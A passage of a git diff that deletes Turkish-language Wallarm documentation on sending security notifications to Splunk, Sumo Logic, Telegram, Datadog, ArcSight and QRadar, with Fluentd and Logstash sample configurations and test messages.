parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/splunk.md b/docs/latest-tr/user-guides/settings/integrations/splunk.md deleted file mode 100644 index 275289256e..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/splunk.md +++ /dev/null @@ -1,97 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Splunk - -[Splunk](https://www.splunk.com/), günlükler, olaylar ve diğer operasyonel ile iş verileri dahil olmak üzere makine tarafından üretilen verileri aramak, izlemek ve analiz etmek için tasarlanmış bir platformdur. Wallarm'ı Splunk'a uyarılar gönderecek şekilde yapılandırabilirsiniz. - -## Entegrasyonun yapılandırılması - -Splunk UI'de: - -1. **Settings** ➝ **Add Data** ➝ **Monitor**'ü açın. -2. **HTTP Event Collector** seçeneğini seçin, bir entegrasyon adı girin ve **Next**'e tıklayın. -3. **Input Settings** sayfasında veri türü seçimini atlayın ve **Review Settings**'e ilerleyin. -4. Ayarları gözden geçirip **Submit**'e tıklayın. -5. Sağlanan token'ı kopyalayın. - -Wallarm UI'de: - -1. **Integrations** bölümünü açın. -1. **Splunk** bloğunu tıklayın veya **Add integration** düğmesine tıklayıp **Splunk**'u seçin. -1. Bir entegrasyon adı girin. -1. Kopyaladığınız token'ı **HEC token** alanına yapıştırın. -1. Splunk örneğinizin HEC URI'sini ve port numarasını **HEC URI:PORT** alanına yapıştırın. Örneğin: `https://hec.splunk.com:8088`. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Splunk entegrasyonu](../../../images/user-guides/settings/integrations/add-splunk-integration.png) - - Kullanılabilir olaylara ilişkin ayrıntılar: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim formatını kontrol etmek için **Test integration**'a tıklayın. - - JSON formatında Splunk test bildirimi: - - ```json - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ``` - -1. **Add integration**'a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıların yapılandırılması - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## Olayların bir gösterge panosunda düzenlenmesi - ---8<-- "../include/integrations/application-for-splunk.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/sumologic.md b/docs/latest-tr/user-guides/settings/integrations/sumologic.md deleted file mode 100644 index 7a4dda4734..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/sumologic.md +++ /dev/null @@ -1,88 +0,0 @@ -# Sumo Logic - -[Sumo Logic](https://www.sumologic.com/), kuruluşlara BT operasyonları, güvenlik ve uygulama performansı hakkında gerçek zamanlı içgörüler sağlayan bulut-yerel bir makine verisi analitiği platformudur. Wallarm'ı Sumo Logic'e mesajlar gönderecek şekilde yapılandırabilirsiniz. - -## Entegrasyonu yapılandırma - -Sumo Logic UI'de: - -1. [Talimatları](https://help.sumologic.com/03Send-Data/Hosted-Collectors/Configure-a-Hosted-Collector) izleyerek bir Hosted Collector yapılandırın. -2. [Talimatları](https://help.sumologic.com/03Send-Data/Sources/02Sources-for-Hosted-Collectors/HTTP-Source) izleyerek bir HTTP Logs & Metrics Source yapılandırın. -3. Sağlanan **HTTP Source Address (URL)** değerini kopyalayın. - -Wallarm UI'de: - -1. **Integrations** bölümünü açın. -1. **Sumo Logic** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **Sumo Logic**'i seçin. -1. Bir entegrasyon adı girin. -1. Kopyalanan HTTP Source Address (URL) değerini **HTTP Source Address (URL)** alanına yapıştırın. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Sumo Logic entegrasyonu](../../../images/user-guides/settings/integrations/add-sumologic-integration.png) - - Kullanılabilir olaylara ilişkin ayrıntılar: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim biçimini kontrol etmek için **Test integration**'a tıklayın. - - Sumo Logic test bildirimi: - - ```json - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ``` - -1. **Add integration**'a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıları yapılandırma - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/telegram.md b/docs/latest-tr/user-guides/settings/integrations/telegram.md deleted file mode 100644 index 9b6bc6d9e3..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/telegram.md +++ /dev/null @@ -1,55 +0,0 @@ -# Telegram - -[Telegram](https://telegram.org/), bulut tabanlı bir anlık mesajlaşma platformu ve sosyal medya uygulamasıdır. Wallarm’ı zamanlanmış raporları ve anlık bildirimleri Telegram’a gönderecek şekilde ayarlayabilirsiniz. - -Zamanlanmış raporlar günlük, haftalık veya aylık olarak gönderilebilir. Raporlar, seçilen dönem boyunca sisteminizde tespit edilen güvenlik açıkları, saldırılar ve olaylar hakkında ayrıntılı bilgiler içerir. Bildirimler, tetiklenen olaylara ilişkin kısa ayrıntılar içerir. - -## Entegrasyonu ayarlama - -1. **Integrations** bölümünü açın. -1. **Telegram** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **Telegram**’ı seçin. -1. Wallarm bildirimlerini alacak Telegram grubuna [@WallarmUSBot](https://t.me/WallarmUSBot) (Wallarm US Cloud kullanıyorsanız) veya [@WallarmBot](https://t.me/WallarmBot) (Wallarm EU Cloud kullanıyorsanız) ekleyin ve kimlik doğrulama bağlantısını izleyin. -1. Wallarm UI’a yönlendirildikten sonra botu doğrulayın. -1. Bir entegrasyon adı girin. -1. Güvenlik raporlarının gönderim sıklığını seçin. Sıklık seçilmezse raporlar gönderilmez. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Telegram entegrasyonu](../../../images/user-guides/settings/integrations/add-telegram-integration.png) - - Kullanılabilir olaylarla ilgili ayrıntılar: - - --8<-- "../include/integrations/events-for-integrations.md" - - Telegram ile entegrasyon, yalnızca bu entegrasyon zaten oluşturulmuşsa test edilebilir. - -1. **Add integration**’a tıklayın. -1. Oluşturulan entegrasyon kartını yeniden açın. -1. Yapılandırmanın doğruluğunu, Wallarm Cloud kullanılabilirliğini ve bildirim biçimini kontrol etmek için **Test integration**’a tıklayın. - - Bu işlem, önek “[Test message]” ile test bildirimleri gönderecektir: - - ``` - [Test message] [Test partner] Ağ çevresi değişti - - Bildirim türü: new_scope_object_ips - - Ağ çevresinde yeni IP adresleri keşfedildi: - 8.8.8.8 - - Müşteri: TestCompany - Bulut: EU - ``` - -[@WallarmUSBot](https://t.me/WallarmUSBot) veya [@WallarmBot](https://t.me/WallarmBot) ile doğrudan sohbet de başlatabilirsiniz. Bot, raporları ve bildirimleri de gönderir. - -## Ek uyarıları ayarlama - ---8<-- "../include/integrations/integrations-trigger-setup-limited.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamıyorluğu ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md b/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md deleted file mode 100644 index 8708deaebc..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md +++ /dev/null @@ -1,118 +0,0 @@ -# Fluentd aracılığıyla Micro Focus ArcSight Logger - -Bu talimatlar, olayları ArcSight Logger sistemine iletmek üzere Wallarm’ın Fluentd veri toplayıcı ile örnek entegrasyonunu sağlar. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhook akışı](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-scheme.png) - -!!! info "ArcSight ESM’in Enterprise sürümüyle entegrasyon" - Fluentd’ten ArcSight ESM’in Enterprise sürümüne günlük yönlendirmesini yapılandırmak için, ArcSight tarafında Syslog Connector’ı yapılandırmanız ve ardından günlükleri Fluentd’ten konektörün portuna yönlendirmeniz önerilir. Konektörlere ilişkin daha ayrıntılı bir açıklama için lütfen [resmi ArcSight SmartConnector dokümantasyonundan](https://community.microfocus.com/t5/ArcSight-Connectors/ct-p/ConnectorsDocs) **SmartConnector User Guide**’ı indirin. - -## Kullanılan kaynaklar - -* CentOS 7.8 üzerinde kurulu, WEB URL’si `https://192.168.1.73:443` olan [ArcSight Logger 7.1](#arcsight-logger-configuration) -* Debian 11.x (bullseye) üzerinde kurulu ve `https://fluentd-example-domain.com` üzerinden erişilebilen [Fluentd](#fluentd-configuration) -* [Fluentd entegrasyonunu yapılandırmak](#configuration-of-fluentd-integration) için [AB bulutu](https://my.wallarm.com) üzerinde Wallarm Console’a yönetici erişimi - ---8<-- "../include/cloud-ip-by-request.md" - -ArcSight Logger ve Fluentd hizmetlerine ait bağlantılar örnek olarak verilmiştir; yanıt vermezler. - -### ArcSight Logger yapılandırması - -ArcSight Logger’da şu şekilde yapılandırılmış `Wallarm Fluentd logs` adlı bir günlük alıcısı bulunmaktadır: - -* Günlükler UDP üzerinden alınır (`Type = UDP Receiver`) -* Dinleme portu `514` -* Olaylar syslog ayrıştırıcısı ile ayrıştırılır -* Diğer varsayılan ayarlar - -![ArcSight Logger'da alıcı yapılandırması](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-setup.png) - -Alıcı yapılandırmasının daha ayrıntılı bir açıklaması için, uygun sürüme ait **Logger Installation Guide**’ı [resmi ArcSight Logger dokümantasyonundan](https://community.microfocus.com/t5/Logger-Documentation/ct-p/LoggerDoc) indirin. - -### Fluentd yapılandırması - -Wallarm, günlükleri webhook’lar aracılığıyla Fluentd ara veri toplayıcısına gönderdiğinden, Fluentd yapılandırması aşağıdaki gereksinimleri karşılamalıdır: - -* POST veya PUT isteklerini kabul etmelidir -* HTTPS isteklerini kabul etmelidir -* Genel bir URL’ye sahip olmalıdır -* Günlükleri ArcSight Logger’a iletmelidir; bu örnek, günlükleri iletmek için `remote_syslog` eklentisini kullanır - -Fluentd, `td-agent.conf` dosyasında yapılandırılmıştır: - -* Gelen webhook işleme, `source` yönergesinde yapılandırılmıştır: - * Trafik 9880 numaralı porta gönderilir - * Fluentd yalnızca HTTPS bağlantılarını kabul edecek şekilde yapılandırılmıştır - * Genel olarak güvenilir bir CA tarafından imzalanmış Fluentd TLS sertifikası `/etc/ssl/certs/fluentd.crt` dosyasında bulunur - * TLS sertifikasının özel anahtarı `/etc/ssl/private/fluentd.key` dosyasında bulunur -* ArcSight Logger’a günlük yönlendirme ve günlük çıktısı, `match` yönergesinde yapılandırılmıştır: - * Tüm olay günlükleri Fluentd’ten kopyalanır ve `https://192.168.1.73:514` IP adresindeki ArcSight Logger’a iletilir - * Günlükler Fluentd’ten ArcSight Logger’a [Syslog](https://en.wikipedia.org/wiki/Syslog) standardına uygun olarak JSON formatında iletilir - * ArcSight Logger ile bağlantı UDP üzerinden kurulur - * Fluentd günlükleri ayrıca komut satırında JSON formatında yazdırılır (19-22. kod satırları). Bu ayar, olayların Fluentd üzerinden günlüğe kaydedildiğini doğrulamak için kullanılır - -```bash linenums="1" - - @type http # HTTP ve HTTPS trafiği için input eklentisi - port 9880 # gelen istekler için port - # bağlantıların yönetimi için yapılandırma - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type remote_syslog # Fluentd'ten Syslog aracılığıyla günlük iletimi için output eklentisi - host 192.168.1.73 # günlüklerin iletileceği IP adresi - port 514 # günlüklerin iletileceği port - protocol udp # bağlantı protokolü - - @type json # iletilen günlüklerin formatı - - - - @type stdout # Fluentd günlüklerini komut satırına yazdırmak için output eklentisi - output_type json # komut satırına yazdırılan günlüklerin formatı - - -``` - -Yapılandırma dosyalarının daha ayrıntılı açıklaması [resmi Fluentd dokümantasyonunda](https://docs.fluentd.org/configuration/config-file) mevcuttur. - -!!! info "Fluentd yapılandırmasını test etme" - Fluentd günlüklerinin oluşturulup ArcSight Logger’a iletildiğini kontrol etmek için Fluentd’e PUT veya POST isteği gönderilebilir. - - **İstek örneği:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Fluentd günlükleri:** - ![Fluentd'de günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-curl-log.png) - - **ArcSight Logger’daki olay:** - ![ArcSight Logger'da günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-curl-log.png) - -### Fluentd entegrasyonunun yapılandırılması - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![Fluentd ile Webhook entegrasyonu](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Fluentd entegrasyonunun yapılandırılması hakkında daha fazla bilgi](../fluentd.md) - -## Örnek test - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Fluentd olayı aşağıdaki gibi günlüğe kaydedecektir: - -![Yeni kullanıcıya ilişkin Fluentd günlüğü](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-user-log.png) - -ArcSight Logger olaylarında aşağıdaki kayıt görüntülenecektir: - -![ArcSight Logger'daki olaylar](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-user.png) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md b/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md deleted file mode 100644 index d9e7c044bc..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md +++ /dev/null @@ -1,175 +0,0 @@ -# Fluentd/Logstash üzerinden Datadog - -Wallarm’ı, tespit edilen olaylara ilişkin bildirimleri Fluentd veya Logstash ara veri toplayıcısı üzerinden Datadog’a gönderecek şekilde yapılandırabilirsiniz. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Veri toplayıcı üzerinden Wallarm’dan Datadog’a bildirim gönderme](../../../../images/user-guides/settings/integrations/wallarm-log-collector-datadog.png) - -!!! info "Datadog ile yerel entegrasyon" - Wallarm ayrıca [Datadog API aracılığıyla Datadog ile yerel entegrasyonu](../datadog.md) destekler. Yerel entegrasyon, ara veri toplayıcının kullanılmasını gerektirmez. - -## Kullanılan kaynaklar - -* Genel bir URL üzerinden erişilebilen Fluentd veya Logstash servisi -* Genel bir URL üzerinden erişilebilen Datadog servisi -* [Fluentd/Logstash entegrasyonunu yapılandırmak](#setting-up-integration-with-fluentd-or-logstash) için [AB bulutu](https://my.wallarm.com) üzerinde Wallarm Console’a yönetici erişimi - ---8<-- "../include/cloud-ip-by-request.md" - -## Gereksinimler - -Wallarm, günlükleri webhook’lar aracılığıyla ara veri toplayıcıya gönderdiğinden, Fluentd veya Logstash yapılandırması aşağıdaki gereksinimleri karşılamalıdır: - -* POST veya PUT isteklerini kabul etmelidir -* HTTPS isteklerini kabul etmelidir -* Genel bir URL’ye sahip olmalıdır -* Günlükleri, `datadog_logs` Logstash eklentisi veya `fluent-plugin-datadog` Fluentd eklentisi aracılığıyla Datadog’a iletmelidir - -=== "Logstash yapılandırma örneği" - 1. Günlükleri Datadog’a iletmek için [`datadog_logs` eklentisini yükleyin](https://github.com/DataDog/logstash-output-datadog_logs#how-to-install-it). - 1. Gelen istekleri okumak ve günlükleri Datadog’a iletmek için Logstash’i yapılandırın. - - Örnek `logstash-sample.conf` yapılandırma dosyası: - - ```bash linenums="1" - input { - http { # HTTP ve HTTPS trafiği için input eklentisi - port => 5044 # Gelen istekler için port - ssl => true # HTTPS trafiğinin işlenmesi - ssl_certificate => "/etc/server.crt" # Logstash TLS sertifikası - ssl_key => "/etc/server.key" # TLS sertifikası için özel anahtar - } - } - filter { - mutate { - add_field => { - "ddsource" => "wallarm" # Wallarm günlüklerinin daha sonra filtrelenebilmesi için Datadog günlük kaydına source alanını ekleyen mutate filtresi - } - } - } - output { - stdout {} # Logstash günlüklerini komut satırında yazdıran output eklentisi - datadog_logs { # Logstash günlüklerini Datadog’a ileten output eklentisi - api_key => "XXXX" # Datadog’daki organizasyon için üretilen API anahtarı - host => "http-intake.logs.datadoghq.eu" # Datadog uç noktası (kayıt bölgesine bağlıdır) - } - } - ``` - - * [Logstash yapılandırma dosyası yapısı hakkında dokümantasyon](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) - * [`datadog_logs` eklentisi hakkında dokümantasyon](https://docs.datadoghq.com/integrations/logstash/) -=== "Fluentd yapılandırma örneği" - 1. Günlükleri Datadog’a iletmek için [`fluent-plugin-datadog` eklentisini yükleyin](https://github.com/DataDog/fluent-plugin-datadog#pre-requirements). - 1. Gelen istekleri okumak ve günlükleri Datadog’a iletmek için Fluentd’i yapılandırın. - - Örnek `td-agent.conf` yapılandırma dosyası: - - ```bash linenums="1" - - @type http # HTTP ve HTTPS trafiği için input eklentisi - port 9880 # Gelen istekler için port - # bağlantıların işlenmesi için yapılandırma - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type datadog # Fluentd’den Datadog’a günlük ileten output eklentisi - @id awesome_agent - api_key XXXX # Datadog’daki organizasyon için üretilen API anahtarı - host 'http-intake.logs.datadoghq.eu' # Datadog uç noktası (kayıt bölgesine bağlıdır) - - # İsteğe bağlı - include_tag_key true - tag_key 'tag' - - # İsteğe bağlı etiketler - dd_source 'wallarm' # Wallarm günlüklerinin daha sonra filtrelenebilmesi için Datadog günlük kaydına source alanını ekleme - dd_tags 'integration:fluentd' - - - @type memory - flush_thread_count 4 - flush_interval 3s - chunk_limit_size 5m - chunk_limit_records 500 - - - ``` - - * [Fluentd yapılandırma dosyası yapısı hakkında dokümantasyon](https://docs.fluentd.org/configuration/config-file) - * [`fluent-plugin-datadog` eklentisi hakkında dokümantasyon](https://docs.datadoghq.com/integrations/fluentd) - -## Fluentd veya Logstash ile entegrasyonun yapılandırılması - -1. Wallarm Console → **Integrations** → **Fluentd**/**Logstash** içinde Datadog entegrasyonu kurulumuna gidin. -1. Entegrasyon adını girin. -1. Hedef Fluentd veya Logstash URL’sini belirtin (Webhook URL). -1. Gerekirse gelişmiş ayarları yapılandırın: - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. Belirtilen URL’ye bildirim gönderimini tetikleyecek olay türlerini seçin. Olaylar seçilmezse bildirimler gönderilmez. -1. [Entegrasyonu test edin](#testing-integration) ve ayarların doğru olduğundan emin olun. -1. **Add integration**’a tıklayın. - -Fluentd entegrasyon örneği: - -![Fluentd ile entegrasyon ekleme](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -## Entegrasyonun test edilmesi - ---8<-- "../include/integrations/test-integration-advanced-data.md" - -Fluentd veya Logstash ara veri toplayıcısındaki test günlüğü: - -```json -[ - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } -] -``` - -Test Datadog günlüğü: - -![Test Datadog günlüğü](../../../../images/user-guides/settings/integrations/test-datadog-vuln-detected.png) - -Diğer kayıtlar arasında Wallarm günlüklerini bulmak için Datadog Logs servisinde `source:wallarm_cloud` arama etiketini kullanabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md b/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md deleted file mode 100644 index 30b3fd8a7d..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md +++ /dev/null @@ -1,120 +0,0 @@ -# Fluentd aracılığıyla IBM QRadar - -Bu talimatlar, Wallarm’ın Fluentd veri toplayıcı ile entegrasyonuna örnek sağlar ve olayların QRadar SIEM sistemine iletilmesini mümkün kılar. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhook akışı](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-scheme.png) - -## Kullanılan kaynaklar - -* Debian 11.x (bullseye) üzerine kurulu ve `https://fluentd-example-domain.com` adresinden erişilebilen [Fluentd](#fluentd-configuration) -* Linux Red Hat üzerine kurulu ve IP adresi `https://109.111.35.11:514` ile erişilebilen [QRadar V7.3.3](#qradar-configuration-optional) -* [Fluentd entegrasyonunu yapılandırmak](#configuration-of-fluentd-integration) için [EU cloud](https://my.wallarm.com) üzerindeki Wallarm Console’a yönetici erişimi - ---8<-- "../include/cloud-ip-by-request.md" - -Fluentd ve QRadar hizmetlerine verilen bağlantılar örnek amaçlıdır, bu nedenle yanıt vermezler. - -### Fluentd yapılandırması {#fluentd-configuration} - -Wallarm günlükleri webhooks aracılığıyla ara veri toplayıcı Fluentd’e gönderdiğinden, Fluentd yapılandırması aşağıdaki gereksinimleri karşılamalıdır: - -* POST veya PUT isteklerini kabul etmesi -* HTTPS isteklerini kabul etmesi -* Genel olarak erişilebilir bir URL’ye sahip olması -* Günlükleri IBM QRadar’a iletmesi; bu örnekte iletim için `remote_syslog` eklentisi kullanılır - -Fluentd, `td-agent.conf` dosyasında yapılandırılır: - -* Gelen webhook işlemesi `source` yönergesinde yapılandırılmıştır: - * Trafik 9880 portuna gönderilir - * Fluentd yalnızca HTTPS bağlantılarını kabul edecek şekilde yapılandırılmıştır - * Genel olarak güvenilen bir CA tarafından imzalanmış Fluentd TLS sertifikası `/etc/ssl/certs/fluentd.crt` dosyasında bulunur - * TLS sertifikasının özel anahtarı `/etc/ssl/private/fluentd.key` dosyasında bulunur -* Günlüklerin QRadar’a iletilmesi ve günlük çıktısı `match` yönergesinde yapılandırılmıştır: - * Tüm olay günlükleri Fluentd’den kopyalanır ve `https://109.111.35.11:514` IP adresindeki QRadar’a iletilir - * Günlükler, [Syslog](https://en.wikipedia.org/wiki/Syslog) standardına uygun olarak Fluentd’den QRadar’a JSON biçiminde iletilir - * QRadar ile bağlantı TCP üzerinden kurulur - * Fluentd günlükleri ayrıca komut satırında JSON biçiminde yazdırılır (19-22. kod satırları). Bu ayar, olayların Fluentd üzerinden kaydedildiğini doğrulamak için kullanılır - -```bash linenums="1" - - @type http # HTTP ve HTTPS trafiği için giriş eklentisi - port 9880 # gelen istekler için port - # bağlantıların ele alınması için yapılandırma - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type remote_syslog # Fluentd'den Syslog aracılığıyla günlük iletimi için çıkış eklentisi - host 109.111.35.11 # günlüklerin iletileceği IP adresi - port 514 # günlüklerin iletileceği port - protocol tcp # bağlantı protokolü - - @type json # iletilen günlüklerin biçimi - - - - @type stdout # Fluentd günlüklerini komut satırına yazdırmak için çıkış eklentisi - output_type json # komut satırına yazdırılan günlüklerin biçimi - - -``` - -Yapılandırma dosyalarının daha ayrıntılı açıklaması [resmi Fluentd dokümantasyonunda](https://docs.fluentd.org/configuration/config-file) mevcuttur. - -!!! info "Fluentd yapılandırmasının test edilmesi" - Fluentd günlüklerinin oluşturulduğunu ve QRadar’a iletildiğini kontrol etmek için Fluentd’e PUT veya POST isteği gönderilebilir. - - **İstek örneği:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Fluentd günlükleri:** - ![Fluentd'deki günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-curl-log.png) - - **QRadar günlükleri:** - ![QRadar'daki günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-curl-log.png) - - **QRadar günlük yükü:** - ![QRadar'daki günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-curl-log-payload.png) - -### QRadar yapılandırması (isteğe bağlı) {#qradar-configuration-optional} - -QRadar’da günlük kaynağı yapılandırılır. Bu, QRadar’daki tüm günlükler listesinde Fluentd günlüklerini kolayca bulmaya yardımcı olur ve ayrıca ileri seviye günlük filtrelemesi için de kullanılabilir. Günlük kaynağı şu şekilde yapılandırılır: - -* **Günlük Kaynağı Adı**: `Fluentd` -* **Günlük Kaynağı Açıklaması**: `Fluentd'den günlükler` -* **Günlük Kaynağı Türü**: Syslog standardı ile kullanılan gelen günlük ayrıştırıcı türü `Universal LEEF` -* **Protokol Yapılandırması**: günlük iletimi standardı `Syslog` -* **Günlük Kaynağı Tanımlayıcısı**: Fluentd IP adresi -* Diğer varsayılan ayarlar - -QRadar günlük kaynağı kurulumuna ilişkin daha ayrıntılı açıklama [resmi IBM dokümantasyonunda](https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf) mevcuttur. - -![Fluentd için QRadar günlük kaynağı kurulumu](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-setup.png) - -### Fluentd entegrasyonunun yapılandırılması {#configuration-of-fluentd-integration} - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![Fluentd ile Webhook entegrasyonu](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Fluentd entegrasyonunun yapılandırması hakkında daha fazla bilgi](../fluentd.md) - -## Örnek test - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Fluentd olayı aşağıdaki gibi kaydedecektir: - -![Fluentd'den QRadar'da yeni kullanıcıya ilişkin günlük](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-user-log.png) - -QRadar günlük yükünde aşağıdaki veriler JSON biçiminde görüntülenecektir: - -![Fluentd'den QRadar'da yeni kullanıcı kartı](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-user.png) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md b/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md deleted file mode 100644 index 936b0f90ce..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md +++ /dev/null @@ -1,116 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Fluentd aracılığıyla Splunk Enterprise - -Bu talimatlar, Wallarm'ın Fluentd veri toplayıcı ile örnek entegrasyonunu sağlayarak olayların Splunk SIEM sistemine iletilmesini gösterir. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhook akışı](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-scheme.png) - -## Kullanılan kaynaklar - -* [Splunk Enterprise](#splunk-enterprise-configuration) WEB URL `https://109.111.35.11:8000` ve API URL `https://109.111.35.11:8088` ile -* Debian 11.x (bullseye) üzerine kurulu ve `https://fluentd-example-domain.com` adresinde kullanılabilir [Fluentd](#fluentd-configuration) -* [Fluentd entegrasyonunu yapılandırmak](#configuration-of-fluentd-integration) için [EU cloud](https://my.wallarm.com) içinde Wallarm Console'a yönetici erişimi - ---8<-- "../include/cloud-ip-by-request.md" - -Splunk Enterprise ve Fluentd hizmetlerine yönelik bağlantılar örnek olarak verildiğinden, yanıt vermeyecektir. - -### Splunk Enterprise yapılandırması {#splunk-enterprise-configuration} - -Fluentd günlükleri, ad olarak `Wallarm Fluentd logs` ve diğer varsayılan ayarlarla Splunk HTTP Event Controller'a gönderilir: - -![HTTP Event Collector yapılandırması](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-setup.png) - -HTTP Event Controller'a erişmek için oluşturulan belirteç `f44b3179-91aa-44f5-a6f7-202265e10475` kullanılacaktır. - -Splunk HTTP Event Controller 